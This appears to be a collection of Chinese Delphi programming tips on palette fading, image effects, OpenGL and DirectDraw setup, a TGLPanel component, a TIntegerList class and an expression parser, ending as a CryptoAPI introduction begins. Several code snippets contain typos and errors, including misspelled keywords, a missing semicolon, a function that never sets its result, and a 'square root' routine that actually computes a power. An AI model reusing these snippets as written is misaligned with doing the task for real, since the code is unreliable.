private
PalDevice:Imteger;{调色板模式标志}
go:integer;{渐隐开始标志}
pal:arrar［0...255］ of TPaletteEntry;{逻辑调色板}
end;
var
Form1:TForm1;

implementation
{$R *.DFM}
procedure TForm1.Timer1Timer(Sender:TObject);
var
i,n:integer;
begin
if go=1 then{开始渐隐}
begin
for i:=0 to 255 do{调色板颜色值递减}
begin

pal［i］.peFlags:=PC-RESERVED;{调色板动画标志，一定得这样设置}
if pal［i］.peRed>0 thenpal［i］.peRed:=pal［i］.peRed-1;
if pal［i］.peGreen>0 thenpal［i］.peGreen:=pal［i］.peGreen-1;
if pal［i］.peBlue>0 thenpal［i］.peBlue:=pal［i］.peBlue-1;〖ZK)〗
end;
SetPaletteEntries(Image1.Picture.Bitmap.Palette,0,256,pal);{设置新的颜色
到
DIB调色板}
RealizePalette(Image1.Picture.Bitmap.Canvas.Handle);{影射逻辑调色板
到系统硬件调色板}
{计算已经渐隐消失的颜色数，如全数完成则终止渐隐过程，令go=0}
n:=0;
for i:=0 to 255 do
if(pal［i］.peRed=0) and (pal［i］.peGreen=0) and (pal［i］.peBlue=0)
then
n:=n+1
if n=256 then
begin
Panel1.Caption:='OK';
go:=0;
end
else
Panel1.Caption:='n='+IntToStr(n);
end;
end;
procedure TForm1.Button1Click(Sender:TObject);
begin
GetPaletteEntries(Image1.Pictrue.Bitmap.Palette,0,256,pal);{获得DIB图
像
的调色板}
{判断系统是否是基于调色板的显示模式，如果是则开始渐隐过程}
PalDevice:=GetDeviceCaps(Canvas.Handle,RASTERCAPS) and RC-PALETTE;
if(PalDevice>0) the go:=1;
end;
procedure TForm1.FormCreate(Sender:TObject);
begin
Image1.Pictrue.Bitmap.LoadFromFile('c:＼video10＼ts.bmp');{加载DIB图像}
end;
end.


图形整体拉出效果

    单纯的图形整体拉出效果比较简单,动态地改变图形区域的大小就可以实现,但事先应将图形的“Stretch”设置为“True”。
    举例说明下拉效果:
    1.在表单上放置一图片,高度为200,属性“Height”设为0,“Stretch”设置为True。添加“Timer”构件, “Interval”设为200,“Enable”设为Ture。
    2.在Timer1Timer中添加代码:
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    Image1.Height:=Image1.Height＋20;
    //设置增量
    if image1.Height=200 then Timer1.Enabled:=FALSE;
    //图形整体拉出完毕

    end;


使屏幕变灰

 procedure DarkScreen;
const
bBmp: array [0..15] of Byte = (
$55, 0, $AA, 0, $55, 0, $AA, 0, $55, 0, $AA, 0, $55, 0, $AA, 0);
var
Bitmap: HBITMAP;
Pattern: HBRUSH;
DCScreen: HDC;
OldPattern: HGDIOBJ;
begin
Bitmap := CreateBitmap(8, 8, 1, 1, @bBMP);
Pattern := CreatePatternBrush(Bitmap);
DCScreen := GetDC(0);
OldPattern := SelectObject(DCScreen, Pattern);
BitBlt(DCScreen, 0, 0, Screen.Width, Screen.Height, 0, 0, 0, $A000C9);
SelectObject(DCScreen, OldPattern);
ReleaseDC(0, DCScreen);
DeleteObject(Bitmap);
DeleteObject(Pattern);
end;


快速图象处理

 P := Bitmap.Scanline[y];
x := 0;
while x <= Bitmap.width*3 -1 do begin
P[x] := 200; //Blue
P[x+1] := 200; //Green
P[x+2] := 200; //Red
inc(x,3)
end;


OpenGL编程学习心得

用Delphi进行OpenGL编程学习心得

---- 在开发图形程序时，尤其是三维的图形程序，因为感觉OpenGL没有DirectX那么庞杂，所以选择了DelphiOpenGL，凭感觉而言，Delphi也没有C++那么繁杂而且更加人性化，于是选择Delphi+OpenGL进行工作。在这过程中，碰到（肯定会）一些问题，在此提出希望和朋友们能够进行交流。

---- 首先是初始化。初始化时，有几项工作需要进行：①创建设备描述表（Device Context）。（注：关于DC，各种资料译文不尽相同如设备环境、设备描述表、设备上下文等，但好象都不太贴切。要是能有李善兰这样的翻译就好了。下文中的RC情形相同）②设置相应的象素格式（PIXELFORMAT DESCRIPTOR）。③创建着色描述表（Rendering Context）。 Delphi中有好几种获得或创建设备描述表的方法。最简单的就是直接获得画布对象（TCanvas）的句柄属性（Handle），如：

DC：HDC；
DC：=Canvas.Handle；

也可以用API函数GetDC获得设备描述表。如：

DC：=GetDC（Handle，DC）；

---- 也可以用函数CreateCompatibleDC或者BeginPaint..EndPaint（需要注意它们之间的区别）等来获得设备描述表。但是设备描述表用完之后要记得释放或删除它，以解放资源的占用。拥有设备描述表的使用权后，就可以设置相应的象素格式。象素格式是个记录类型，其中有些字段或域是没什么用处的（至少现在是）。象素格式描述完成后，调用ChoosePixelFormat和SetPixelFormat函数将之与设备描述表进行匹配和设置。如下面代码：

function SetupPixelFormat(var dc:HDC):Boolean;
var
ppfd:PPIXELFORMATDESCRIPTOR;
npixelformat:Integer;
begin
New(ppfd);
ppfd^.nSize:=sizeof(PIXELFORMATDESCRIPTOR);
ppfd^.nVersion:=1;
ppfd^.dwFlags:=PFD_DRAW_TO_WINDOW
or
PFD_SUPPORT_OPENGL
or
PFD_DOUBLEBUFFER;
ppfd^.dwLayerMask:=PFD_MAIN_PLANE;
ppfd^.iPixelType:=PFD_TYPE_COLORINDEX;
ppfd^.cColorBits:=8;
ppfd^.cDepthBits:=16;
ppfd^.cAccumBits:=0;
ppfd^.cStencilBits:=0;
npixelformat:=ChoosePixelFormat(dc,
ppfd);
if (nPixelformat=0)
then
begin
MessageBox(NULL,
'choosePixelFormat failed',
'Error', MB_OK);
Result:=False;
Exit;
end;
if
(SetPixelFormat(dc, npixelformat, ppfd)= FALSE)
then
begin
MessageBox(NULL,
'SetPixelFormat failed',
'Error',
MB_OK);
Result:=False;
Exit;
end;
Result:=True;
Dispose(ppfd);
end;
也可以向下面这样进行设置如：
var pfd:
PixelFormatDescriptor;
nPixelFormat  :
Integer;
begin
FillChar(pfd,SizeOf(pfd),0);
with pfd
do
begin
nSize:=sizeof(pfd);
nVersion:=1;
dwFlags:=PFD_SUPPORT_OPENGL
or
PFD_DRAW_TO_BITMAP
or PFD_DOUBLEBUFFER;
iPixelType:=PFD_TYPE_RGBA;
cColorBits:=32;
cDepthBits:=32;
iLayerType:=Byte（PFD_MAIN_PLANE);
end;
nPixelFormat:=ChoosePixelFormat(DC,@pfd);
SetPixelFormat(DC,nPixelFormat,@pfd);
{ //
使用DescribePixelFormat检查象素格式是否设置正确
DescribePixelFormat(DC,nPixelFormat,SizeOf(pfd),@pfd);
if (pfd.dwFlags
and PFD_NEED_PALETTE)
< > 0 then
SetupPalette(DC,pfd);
//SetupPalette是自定义函数
}end；

---- 上述工作完成以后，最好先运行一遍，并检查nPixelFormat的值。正常的话，该值应该是大于0的，否则就有问题。同样的代码，我在NT机器上能够得到正确的大于0的值而在PWIN97或98的机器上得不到正确值，但是编译时不会有问题，而且NT上编译后在PWIN97机器上也能够正确运行。现在可以创建着色描述表（RC）了。调用函数wglCreateContext、wglMakeCurrent，如下例示：

RC：HGLRC；
RC:=wglCreateContext(DC);
wglMakeCurrent(DC,RC);
在程序结束之前，要记得释放所占用的资源。
wglMakeCurrent(0,0);
if RC< >null then
wglDeleteContext(RC);
if ghDC< >null then
ReleaseDC(Handle,DC);

---- 以下的代码是从C++Builder 4中OpenGL的例子改写过来的。编译后的程序大小为300K左右，而在C++Builder 4下编译后程序的大小为384K。

---- < a href="061403-05.zip ">程序代码 Zip 3KB

---- 程序中的OpenGL函数及象素格式在Delphi中的MSHelp中有比较详细的解释，本文不敢多做解释。


为全屏幕方式的DirectDraw对象指定窗口Handle

    在DirectX编程中，IDirectDraw2对象有一个方法名为SetCooperativeLevel，功能是指定该对象的性能级别。调用该方法需要指定一个窗口Handle，在C++中可简单地指定为主程序的窗口Handle，而在Delphi中，如果设定的级别为全屏幕独占方式，则这个Handle一定要是Application.Handle而不是MainForm.Handle，这一点在我所见到的所有关于DirectDraw的封装、构件中均未得见。
    在设定为全屏幕独占方式时，还要先使Application.Handle所代表的窗口显示在最前方，否则下一步调用CreateSurface方法就会失败。这一点也是我几经尝试才总结出来的。请见示例代码：

function CreateFullScreen(out DDrawObj:IDirectDraw2): HRESULT
var
lpDD : IDirectDraw;
begin
Result := DirectDrawCreate(nil, lpDD, nil);
if Result<>DD_OK then
raise Exception.Create('Failed Create!');
Result := lpDD.QueryInterface(IID_IDirectDraw2, DDrawObj):
if Result<>DD_OK then
raise Exception.Create('Failed QueryInterface!');
ShowWindow(Application.Handle, SW_SHOWMAXIMIZED);
Result := DDrawObj.SetCooperativeLevel(
Application.Handle, {很重要，一定要是Application窗口}
DDSCL_FULLSCREEN or DDSCL_EXCLUSIVE);
if Result<>DD_OK then
raise Exception.Create('Failed SetCooperativeLevel');

Result := DDrawObj.SetDisplayMode(640,480,8,0,0);
end;


做一个OpenGL控件

 OpenGL是一个独立于窗口的图形库，而图形最终是在窗口系统里绘制出来的，那么OpenGL的绘图命令是怎么在窗口里生成输出的呢？
这就是各个系统上的OpenGL实现者需要做的工作了。在Windows里是通过wgl库完成的，在X-Windows里是通过glx服务器来完成的，至于这些OpenGL实现具体是怎么工作的，请参考sgi发布的sample implement源码，不过那个代码是用C写的。
在MS-Windows里，wgl库负责将OpenGL的绘制设备RenderContext与GDI的DeviceContext联系起来，使得发到OpenGL的RC里的命令生成的位图能够在GDI DC里绘制出来，你可以把它想象成OpenGL在RC里有一个FrameBuffer，记录着生成的图案，而wgl则负责把FrameBuffer的内容BitBlt到DC上。当然，这并不是它实际的工作方法，如果想了解更多请参考SGI发布的SDK资料或联系MS公司。
为了使GDI DC能够接受OpenGL RC的输出，必须为DC选定特别的像素格式，然后建立RC，再用wglMakeCurrent把当前要使用的RC和DC联系起来。此后我们就可以用OpenGL命令正常工作了。在一个程序里可以创建多个RC和多个DC，程序中的OpenGL命令会发到被wglMakeCurrent指定为当前的那一组合中。
我并不认为这个初始化过程是个很有意思的工作，这个世界上有很多聪明的程序员也这么想，所以他们发明了glaux库和glut库。glaux是在著名的OpenGL Programmer Guide里提出的，这本书是OpenGL编程的官方文档，因为它的封皮是红色的，所以通常简称为RedBook。故名思意，glaux是一套输助库，它使得你无须关心在具体窗口系统里初始化、消息响应的细节，而是使用传统的c/dos程序风格编制OpenGL程序。

int main(int argc, char** argv)

{   auxInitDisplayMode( AUX_SINGLE|AUX_RGB|AUX_DEPTH16);//使用单缓冲、RGB彩色模式、16位浓度

    auxInitPosition(0,0,250,250);

    auxInitWindow("Title");//以上两行在(0,0)片建立了一个大小为250X250的窗口，其标题为"Title"。

    myinit();//建立OpenGL透视投影环境

    auxReshapeFunc(myReshape);//指定窗口大小变化的响应函数

    auxMainLoop(display);//指定绘制函数

    return 0;   }

由于glaux是为教学目的开发的，所以实用价值很限，所以又有程序员开发了glut，这套库被广泛使用，它的工作方式与glaux极为类似，但功能完善得多，特别是对交互、全屏等的支持要理想得多，所以许多的OpenGL演示程序使用它，比如SGI网站上提供的多数演示程序都需要使用它。同时这套库已经被移植到多种平台上，所以要是想用简单的方法开发在windows/macos/os2/xwindows等系统上都能使用的程序，那么应该选择这套库。
我并不认为一个Delphi程序员会喜欢glaux或glut，因为那意味着你不能利用Delphi的可视开发能力，另外任何真正实用的Delphi程序想直接在其它操作系统上编译运行好象也不现实，即glut的跨平台能力也没有什么吸引力。我们应该开发一个VCL控件，把初始化工作封装起来。
我认为从TCustomPanel派生一个子类比较方便，让我们称它为TGLPanel吧。初始化过程要在WMCreate里完成，之所以要放在这里是因为这个时候Window Handle已经建立，但还没启用。
在WMCreate中会①调用initDC完成DC调整工作，initDC会以本窗口使用的DC调用PreparePixelFormat，而PixelFormat则真正完成像素格式调整，②然后WMCreate会调用InitGL完成OpenGL透视投影环境的设定，③最后调用OnInit给用户一个调整透视投影环境的机会。
注意，如果要在MDI环境中的子窗体中使用OpenGL，还有些附加工作要做，这就是给窗口类的Params.Style加上WS_CLIPCHILDREN和WS_CLIPSIBLINGS属性，这得在Window Handle建立之前就完成，因此要写在CreateParams里。由于SDI应用并不需要该代码，所以应该定义OnPreInit事件，让用户在需要的时候自己加上，在Create里调用OnPreInit。以下代码定义了OnPreInit，但并没有定义CreateParams，如果需要自己加上吧。
在TGLPanel类中实际所做工作的详细说明（按成员可见性组织）：
私有
1、加入DC/RC/Pal私有变量
2、定义初始化DC/RC的私有方法

保护：
3、加入FOnPaint,FOnResize,FOnInit,FOnPreInit四个事件响应变量。
4、继承/重载虚方法CreateParams,Paint,Resize
5、响应以下消息
WM_CREATE, TWMCreate, WMCreate
WM_DESTROY, TWMDestroy, WMDestroy
WM_PALETTECHANGED, TWMPaletteChanged, WMPaletteChanged
WM_QUERYNEWPALETTE, TWMQueryNewPalette, WMQueryNewPalette
WM_ERASEBKGND, TWMEraseBkgnd, WMEraseBkgnd

公开：
6、定义建构与析构方法
7、定义必要的其它方法以提供各种特性

发布：
8、以下继承来的属性
__property Alignment;
__property Align;
__property DragCursor;
__property DragMode;
__property Enabled;
__property ParentFont;
__property ParentShowHint;
__property PopupMenu;
__property ShowHint;
__property TabOrder;
__property TabStop;
__property Visible;
9、以下继承来的方法
__property OnClick;
__property OnDblClick;
__property OnDragDrop;
__property OnDragOver;
__property OnEndDrag;
__property OnEnter;
__property OnExit;
__property OnMouseDown;
__property OnMouseMove;
__property OnMouseUp;
__property OnStartDrag;
10、加入以下事件
//初始化OpenGL状态
__property TNotifyEvent OnInit = {read=FOnInit,write=FOnInit};
//专用于修改显示BPP模式
__property TNotifyEvent OnPreInit = {read=FOnPreInit,write=FOnPreInit};
11、重载以下事件
__property TNotifyEvent OnResize = {read=FOnResize,write=FOnResize};
__property TNotifyEvent OnPaint = {read=FOnPaint,write=FOnPaint};
12、将消息与其响应函数连接起来（Delphi中这一步是在定义函数时指定的）
源代码
unit GLPanel;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls,OpenGL;

type
TGLPanel = class(TCustomPanel)
private
{ Private declarations }
DC: HDC;
RC: HGLRC;
procedure initDC;
procedure initGL;
procedure PreparePixelFormat(var DC: HDC);

protected
{ Protected declarations }
FOnPaint:TNotifyEvent;
FOnInit:TNotifyEvent;
FOnPreInit:TNotifyEvent;
FOnResize:TNotifyEvent;

procedure Paint;override;
procedure Resize;override;
procedure WMDestroy(var Msg: TWMDestroy);message WM_DESTROY;
procedure WMCreate(var Msg:TWMCreate); message WM_CREATE;

public
{ Public declarations }
constructor Create(Owner:TComponent);override;

published
{ Published declarations }

property Alignment;
property Align;
property DragCursor;
property DragMode;
property Enabled;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;

property OnClick;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnStartDrag;

property OnInit:TNotifyEvent read FOnInit write FOnInit;
property OnPreInit:TNotifyEvent read FOnPreInit write FOnPreInit;

property OnResize:TNotifyEvent read FOnResize write FOnResize;
property OnPaint:TNotifyEvent read FOnPaint write FOnPaint;

end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TGLPanel]);
end;
//---------------------------------------------
constructor TGLPanel.Create;
begin
inherited;
end;
//---------------------------------------------
procedure TGLPanel.WMDestroy(var Msg: TWMDestroy);
begin
wglMakeCurrent(0, 0);
wglDeleteContext(RC);
ReleaseDC(Handle, DC);
end;
//---------------------------------------------------
procedure TGLPanel.initDC;
begin
DC := GetDC(Handle);
PreparePixelFormat(DC);
end;
//---------------------------------------------------
procedure TGLPanel.initGL;
begin
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
glOrtho(-1, 1, -1, 1, -1, 50);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity;
glEnable(GL_DEPTH_TEST);
//注意下面这一行是为了做练习程序时可以直接用glColor指定材质而加的，
// 可能使得光照或表面材质发生意想不到的变化，
// 如果不需要可以去掉或在程序中用glDisable(GL_COLOR_MATERIAL);关闭
glEnable(GL_COLOR_MATERIAL);
glShadeModel(GL_SMOOTH);
gluLookAt(2, 4, 6, 0, 0, 0, 0, 1, 0);
SwapBuffers(DC);
end;
//---------------------------------------------
procedure TGLPanel.PreparePixelFormat(var DC: HDC);
var
PFD : TPixelFormatDescriptor;
ChosenPixelFormat : Integer;
begin
FillChar(PFD, SizeOf(TPixelFormatDescriptor), 0);

with PFD do
begin
nSize := SizeOf(TPixelFormatDescriptor);
nVersion := 1;
dwFlags := PFD_DRAW_TO_WINDOW or
PFD_SUPPORT_OPENGL or
PFD_DOUBLEBUFFER;
iPixelType := PFD_TYPE_RGBA;
cColorBits := 16; // 16位颜色
cDepthBits := 32; // 32位深度缓冲
iLayerType := PFD_MAIN_PLANE;
{ Should be 24, but we must allow for the clunky WKU boxes }
end;

ChosenPixelFormat := ChoosePixelFormat(DC, @PFD);
if ChosenPixelFormat = 0 then
Raise Exception.Create('ChoosePixelFormat failed!');
SetPixelFormat(DC, ChosenPixelFormat, @PFD);
end;

procedure TGLPanel.WMCreate(var Msg:TWMCreate);
begin
//在这里做初始化工作
//修改DC的象素格式，使之支持OpenGL绘制
initDC;
RC := wglCreateContext(DC);
wglMakeCurrent(DC, RC);
//初始化GL绘制系统
initGL;
if Assigned(FOnInit) then
begin
if (wglMakeCurrent(DC,RC)=false) then
ShowMessage('wglMakeCurrent:' + IntToStr(GetLastError));
FOnInit(self);
end;
end;
//---------------------------------------------------------------------------
procedure TGLPanel.Paint;
begin
//TCustomPanel::Paint();
if Assigned(FOnPaint) then
begin
wglMakeCurrent(DC,RC);
FOnPaint(self);
SwapBuffers(DC);
end;
end;
//---------------------------------------------------------------------------
procedure TGLPanel.Resize;
begin
inherited;
if Assigned(FOnResize) then
begin
wglMakeCurrent(DC,RC);
glViewport(0,0,ClientWidth,ClientHeight);
FOnResize(self);
end;
end;
end.

以上代码仅用来说明原理及建立一个基本的练习环境，您可以自由使用，转载请注明出处。如果使用从本人主页下载的TGLPanel请遵守内附使用说明的版权申明。如果实际做东西，建议使用Mike Lischke的GLScene控件组(http://www.lischke-online.de/)。


OpenGL的原理

可以把OpenGL看成一条生产流水线，原料是场景、物体的顶点、表面细节等信息，产品是看起来有三维感觉的平面位图。
在OpenGL中是以面边界(B-REP)模型来描述物体的，或者说是使用多边形造型系统。在OpenGL中每个物体都只是一组平面，这组平面记录了该物体的表面。显然这些平面越小画出不断的物体越逼真。例如用3个侧面画出的圆锥，看到的是一个棱角分明的棱锥，而有30个侧面的圆锥看起来已经很圆了。

生成本图的程序源码(http://chinaaspdownload.xajh.net/delphiuser/zhuanlan/opengl_1/polymodalsrc.zip)[需要TGLPanel]
而物体表面的每个平面都只需要边界和平面上的图案就足以表示。在OpenGL中需要用户提供围绕平面边缘的线段的顶点参数、平面内图案的位图两组信息，术语称为Vertex(顶点)、Texture(纹理)。
如果表示物体的平面小到一个像素那么得到图像将会是极为真实的，然而这意味着天文数字般的计算任务。所以OpenGL三维图形程序设计很大程度上是在质量与速度之间折中的艺术。
在计算机三维图形学上还有诸如实体几何、Voxel等其它的方法，有很多朋友问过我医学图象处理方面的问题，其实在该领域里使用得更多的是Voxel方法，该方法可以很好在像素级计算生成剖面等的图像，另外象DeltaForce这个游戏也使用了该方法。目前还没有见过支持Voxel加速的硬件，所以DeltaForce是需要全部使用CPU计算的，而支持OpenGL硬件加速的显卡满大街都是，而且适当使用纹理也可以取得极为逼真的效果。
总而言之，OpenGL吃进去的是顶点和纹理，挤出来的是看上去很三维的平面位图。不知道什么是位图？！就是那个啥你在屏幕上看见那个呀。^o^
OpenGL流水线工作的原理是咋样的呢？那可是一个复杂的过程，下面简单描述一下，详细的自己看三维图形学的书去吧。
客户端（即咱们写的图形应用程序）==命令和数据==>服务器（流水线）==>帧缓冲区
客户在程序中所发的命令和数据并不是立即传到流水线执行的，流水线在收到glFlush/glFinish/SwapBuffers之类的命令之后才会真正开始执行命令加工数据，这些命令都有说明某一阶段处理相关的指令数据改送已经结束请求获得所需结果的含义。这就是所谓的客户/服务器模式。
服务器接收哪些命令和数据，又怎样利用这些数据进行哪些处理呢？大致上可以依次分成四个阶段：

  1. 坐标变换，生成基本图元

  2. 裁剪，只留下视见范围内的部份
  3. 光栅化，生成图形片段
  4. 逐片段操作，生成素像

详细的流程如下图所示：请仔细看一下，以后会经常用得着的。


IntegerList

interface

uses
Classes ...

type
TIntegerList = class(TList)
protected
function Get(Index: Integer):
Integer;
procedure Put(Index: Integer; Item:
Integer);
public
function Add(Item: Integer):
Integer;
function First: Integer;
function IndexOf(Item: Integer): Integer;
procedure
Insert(Index: Integer; Item: Integer);
function Last:
Integer;
function Remove(Item: Integer):
Integer;
property Items[Index: Integer]: Integer read Get
write Put; =
default;
end;

implementation

{ TIntegerList }

function TIntegerList.Add(Item: Integer): Integer;
begin
inherited Add(Pointer(Item));
end;

function TIntegerList.First: Integer;
begin
result := Integer(inherited First);
end;

function TIntegerList.Get(Index: Integer): Integer;
begin
result := Integer(inherited Get(Index));
end;

function TIntegerList.IndexOf(Item: Integer): Integer;
begin
result := inherited IndexOf(Pointer(Item));
end;

procedure TIntegerList.Insert(Index, Item: Integer);
begin
inherited Insert(Index, Pointer(Item))
end;

function TIntegerList.Last: Integer;
begin
result := Integer(inherited Last);
end;

procedure TIntegerList.Put(Index, Item: Integer);
begin
inherited Put(Index, Pointer(Item));
end;

function TIntegerList.Remove(Item: Integer): Integer;
begin
result := inherited Remove(Pointer(Item));
end;


表达式解析器

一款设计精巧的表达式解析器

---- 开发MIS系统时，报表设计中经常会碰到表达式解释器，完成用户自定义的公式运算。这种程序的设计需要有比较高的技巧，以下介绍一款用DELPHI4.0开发的程序[程序重在算法，语言特性很少，用其它语言的人也能读懂]，只要按自已的要求稍加修改，即可做成组件或全局方法发部。它支持 "加[+]、减[-]、乘[*]、除[/]、商[$：两整数相除，结果的整数部分]、模[%]、括号[（）]"四则混合运算，支持"与[&]、或[|]、异或[^]、左移[< ]、右移[ >]和非[!]"逻辑运算功能，同时它们可以出现在同一个表达式中，它们的优先级依次为括号、非、与或异或左右移、乘除商模、加减。如式：12.45+3*16 >2*(3+6*(3+2)-1)=12.45+3*4*32，计算结果为：396.45。程序包括两大部分功能：表达式拆解、因子计算，分别由两个类TBdsProc和TPUSHPOP完成。具体如下：

CDIKind=record
  case id: Boolean of
   True: (dval: Double);
   False: (ival: Integer);
 end;
CDKind：区别表达式中的整数和浮点数类型，
因为有些运算符不支持浮点数（如逻辑运算）。

ValKind = CDIKind;
TBdsProc = class
 private
  Fghpd : Integer;//识别并标记左右括号是否成对出现
  function IsCalcFh(c: Char): boolean;
  //判别一个字符是否运算符
  function CopyRight(abds: String;start: Integer):
  String;//截取字符串表达式
  function BdsSs(var abds: String): ValKind;
  //返回一个子表达式的值
  function BdsYz(var abds: String): ValKind;
  //表达式因子，如：15、(13+5)
  function BdsItm(var abds: String): ValKind;
  //读取表达式中的一个因子
 public
  function CalcValue(const bds: String): ValKind;
  //返回计算结果
 end;

TPUSHPOP = class
 private
  ffh: array [0..2] of Char;//符号数组
  value: array [0..3] of CDIKind;//值数组
  flevel: Byte;//因子个数
  fisfh: Boolean;//识别等待输入值或运算符
  fisnot: Boolean;//识别待计算数据项是否执行非运算
  function Calcsj(av1,av2: CDIKind;fh: Char): CDIKind;
  //执行两个数值的四则运算
  function Calclg(av1,av2: CDIKind; fh: Char): CDIKind;
  //执行两个数的逻辑运算
  procedure Calccur;{当输入数据项满足四个数后
[依运算优先级层数求得,见下述算式解析原理]执行中间运算}
  function IsLgFh(fh: Char): Boolean;
  //一个符号是否逻辑运算符
  function IsCcFH(fh: Char): Boolean;
  // 一个符号乘除商模运算符
 public
  constructor Create;
  procedure PushValue(avalue: CDIKind);//存入一个数据项
  procedure PushFh(afh: Char);//存入一个符号
  function CalcValue: CDIKind;//计算并返回值
 end;

---- 表达式解析基本原理：

---- 1．表达式处理：

---- 表达式的一个个数据项组成，中间由运算符连接，每个数据项为一个分析基本分析单元。表达式中如果包含有改变运算优先级别的括号运算，先计出括号中式子的值，再把该值当一个数据项处理,这一点在程序设计中只要运用递归功就能实现。

---- 2．数据项计算处理

---- a >非运算：

---- 它为单目运算符，级别最高，在存入符号时做标记，存入数据时即时计算并去除标记。

---- b >表达式运算：

---- 设f1、f2、f3分别表示一二三级运算符，V1、V2、V3、V4分别表示顺序四个数，则极端表达式模型为R=V1 f1 V2 f2 V3 f3 V4 …，计算时顺序应为 R=…V4 f3 V3 f2 V2 f1 V1。为了简化运算，把其中运算级别最高的逻辑运算在存入数据时先计算完成, 初始化时设V1=0,第一个运算符设为'+'。则公式化为： R=…V4 f2(f1) V3 f2(f1) V2 f1 V1。这样，当V2与V3间的运算符级别为f2时，V4与V3间的运算符级别< =f2，则：V2 =（V2与V3计算值），V3后的值和运算符前移；若V2与V3间的运算级别为f1，可先算V1与V2，V2以后的值和运算符前移。则计算后的表达式为：R=V3 f2(f2) V2 f1 V1刚好满足循环取数条件。

---- 3．实现：

---- 程序比较长(TBdsProc和TPUSHPOP的源代码合计长度为400多行)，完整代码见附件，以下对一些重要实现方法做介绍：

---- < 1 >表达式拆解：由方法BdsSs和BdsYz完成表达式拆解和因子处理

function TBdsProc.BdsSs(var abds: String): ValKind;
var
 c: Char;
 lpp: TPushPop;
begin
 lpp := TPushPop.Create;//建立数据计算对象
 while abds<  >'' do
 begin
  c := abds[1];
  if IsCalcFh(c) then//是否运算符
  begin
   lpp.PushFh(c);//保存运算符
   abds := CopyRight(abds,2);
  end
  else
  begin
   if c=')' then
   begin
    Dec(Fghpd);//括号匹配
    abds := CopyRight(abds,2);
    if Fghpd <  0 then
     Raise Exception.Create('括号不配对');
    Result := lpp.CalcValue;
    //返回括号中的子项值，进行下一步计算
    lpp.Free;
    Exit;
   end
   else
   begin
    if c='(' then
     Inc(Fghpd);//做括号层数标识
    lpp.PushValue(BdsYz(abds));//取下一项的值。
   end;
  end;
 end;
 if Fghpd<  >0 then
  Raise Exception.Create('括号不配对');
 Result := lpp.CalcValue;//返回最终运算值
 lpp.Free;
end;

function TBdsProc.BdsYZ(var abds: String): ValKind;
begin
 if abds<  >'' then
 begin
  if abds[1]='(' then
  begin
   abds := CopyRight(abds,2);
   Result := BdsSs(abds);//递归调用，求括号中的值
  end
  else
   Result := BdsItm(abds);{读一个数据项，
如果包括函数定义，可以在该方法中定义接口或连接}
 end;
end;
若表达式要支持函数功能，只要定义系统支持的函数，
在取行表达式因子BdsItm中加入连接函数定义即可，如下：
…..
else if (c< ='Z') and (c >='A') then
begin
  bhs := 取出函数名及参数
  Result := … //调用函数处理 (函数定义)
  abds := 下一项
end
….
< 2 > 数据计算：主要包PushValue,PushFh,
Calccur分别完成存入数、符号、中间计算
procedure TPUSHPOP.PushValue(avalue: CDIKind);
begin
 if fisfh=True then
  Raise Exception.Create('缺少运算符');
 if fisnot then//进行非运算
 begin
  if avalue.id then
   Raise Exception.Create('浮点数不能做非运算');
  avalue.ival := not avalue.ival;
  fisnot := False;
 end;
 if IsLgFh(ffh[flevel]) then//运行逻辑运算
 begin
  value[flevel] := Calclg(value[flevel],
avalue,ffh[flevel]);
//与当前值做逻辑运算
 end
 else
 begin
  Inc(flevel);//存数位置指针加1
  value[flevel] := avalue;//存入值
  if flevel >2 then//数据个数达到4，进行中间运算
   Calccur;
 end;
 fisfh := True;//输入符号可见
end;

procedure TPUSHPOP.PushFh(afh: Char);
begin
 if (fisfh=false) then//非运算是一级
 begin
  if (afh='!') and (not fisnot) then//标识非运算
  begin
   fisnot := True;
   Exit;
  end
  else
   Raise Exception.Create('运算符重复');
 End
 Else
 begin
  ffh[flevel] := afh;//存入运算符
  fisfh := False; 输入值可见
 end;
end;

procedure TPUSHPOP.Calccur;
begin
 if IsCcFh(ffh[1]) then//二级运算符
 begin
  value[1] := Calcsj(value[1],value[2],ffh[1]);
  //计算2和3项的值
  ffh[1] := ffh[2];//后序运符和值前移
  value[2] := value[3];
 end
 else//一级运算符
 begin
  value[0] := Calcsj(value[0],value[1],ffh[0]);
  //计算1和2项的值
  value[1] := value[2];{ 后序运符和值前移,
2和3项的值不计算是为了保持第一个运算符为一级运算符}
  value[2] := value[3];
  ffh[0] := ffh[1];
  ffh[1] := ffh[2];
 end;
 Dec(flevel);//存数位置指针减1
end;


开方函数

function Power(x, y : extended) : extended;
begin
result := exp(y*ln(x));
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(FloatToStr(Power(3, 2)));
end;


用CryptoAPI进行数据加密

---- 因为过于复杂的加密算法实现起来非常困难，所以在过去，许多应用程序只能使用非常简单的加密技术，这样做的结果就是加密的数据很容易就可以被人破译。而使用Microsoft提供的加密应用程序接口（即Cryptography API）,或称CryptoAPI，就可以方便地在应用程序中加入强大的加密功能，而不必考虑基本的算法。本文将对CryptoAPI及其使用的数据加密原理作一简单的介绍，然后给出了用CryptoAPI编写加密程序的大致步骤，最后以一个文件的加密、解密程序为例演示了CryptoAPI的部分功能。

---- 1. CryptoAPI简介

---- CryptoAPI是一组函数，为了完成数学计算，必须具有密码服务提供者模块（CSP）。Microsoft通过捆绑RSA Base Provider在操作系统级提供一个CSP，使用RSA公司的公钥加密算法，更多的CSP可以根据需要增加到应用中。事实上，CSP有可能与特殊硬件设备（如智能卡）一起来进行数据加密。CryptoAPI接口允许简单的函数调用来加密数据，交换公钥，散列一个消息来建立摘要以及生成数字签名。它还提供高级的管理操作，如从一组可能的CSP中使用一个CSP。此外，CryptoAPI还为许多高级安全性服务提供了基础，包括用于电子商务的SET，用于加密客户机/服务器消息的PCT，用于在各个平台之间来回传递机密数据和密钥的PFX，代码签名等等。CryptoAPI的体系结构如下图：

